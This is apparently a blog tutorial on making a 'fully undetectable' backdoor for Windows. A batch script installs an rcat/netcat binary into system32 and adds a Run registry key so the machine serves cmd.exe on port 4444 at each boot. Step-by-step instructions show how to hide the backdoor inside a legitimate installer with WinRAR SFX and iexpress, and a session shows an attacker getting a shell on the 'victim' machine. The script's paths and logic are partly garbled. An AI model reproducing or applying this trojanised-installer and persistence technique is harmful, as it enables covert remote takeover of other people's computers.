How to Create a FUD Backdoor – Bypass An Antivirus

How to bypass an Anti-virus or how to create a FUD (fully undetectable) backdoor is not a new topic of discussion, the need to bypass an antivirus is very high because it is very helpful in the process of penetration testing and ethical hacking. You can bypass an antivirus by using the metasploit encoders and there are many other ways, in this tutorial I will show you how to make your ncat FUD and how to use the netcat as a backdoor.

As rcat is a good replica of Netcat and has an ability to bypass
most of the antivirus, then why not wrap it up with another file
(that must not a backdoor)?

To do this we use a simple technique:

  1. Create a batch file that will add your Netcat into the system
    folder and can edit the registry of the windows. Wait you don’t
    need to create it because I did it for you.

@echo off
copy rcat.exe %systemroot%system32rcat.exe
if errorlevel 0 goto regedit
goto error
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v nc /d “%systemroot%system32rcat.exe -L -d -p 4444 -t -e cmd.exe”
if errorlevel 0 goto ip
echo something wrong with the program.
goto end
echo write down the IP address from the table
echo end.
nc -L -p 4444 -t

  • Open a notepad and than save it to name.bat
  • Download rcat and then copy rcat.exe into the same directory where name.bat exist
  • Now we use winrar to combine these two file, select both and then right click on add to archive

  • On the next window mark check on create SFX archive
  • Go to advance tab and click on SFX option
  • Fill out the options like at the figure below

  • Change the tab to modes and place mark of hide all
  • Almost done click OK than OK to create a file
  • New file must be appear at the same directory
  • We have combined it but now make it more compitable
  • Click on the start than run and type iexpress
  • iexpress wizard will start, click on next, then next (leave it as default), and then where it ask about package title write any title like test
  • On the next two window click leave as a default and then you need to add your files.
  • You
    need to add two files like I did (see figure below) one must a .exe
    file that we have made by using above method and the second file will be
    any setup file. iexpress combines them to make one.
  • On the next window there will be two options, on the install program select the simple setup and on the post install command select the backdoor.
  • On the next window place mark on hidden then click next
  • Enter the name of the final file and place mark on first option (see figure below )
  • On next window no restart and
    then don’t save, on the last create the package.
  • Your new file must be appear on the same directory and here is the report.
  • New file has an ability to bypass the most famous antivirus software and it has contained our back door.


Let’s suppose our victim has executed the file. Now we can easily get the response via our command promote or terminal.
[email protected]:~# telnet
telnet: Unable to connect to remote host: Connection refused
[email protected]:~# telnet 23
telnet: Unable to connect to remote host: Connection refused

Why does it fail? Because our Netcat opened port number 4444. Look at the batch file code. Now check again.
[email protected]:~# telnet 4444
Connected to
Escape character is ‘^]’.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:Documents and SettingsBlacksheep>
You can use nc instead of telnet.

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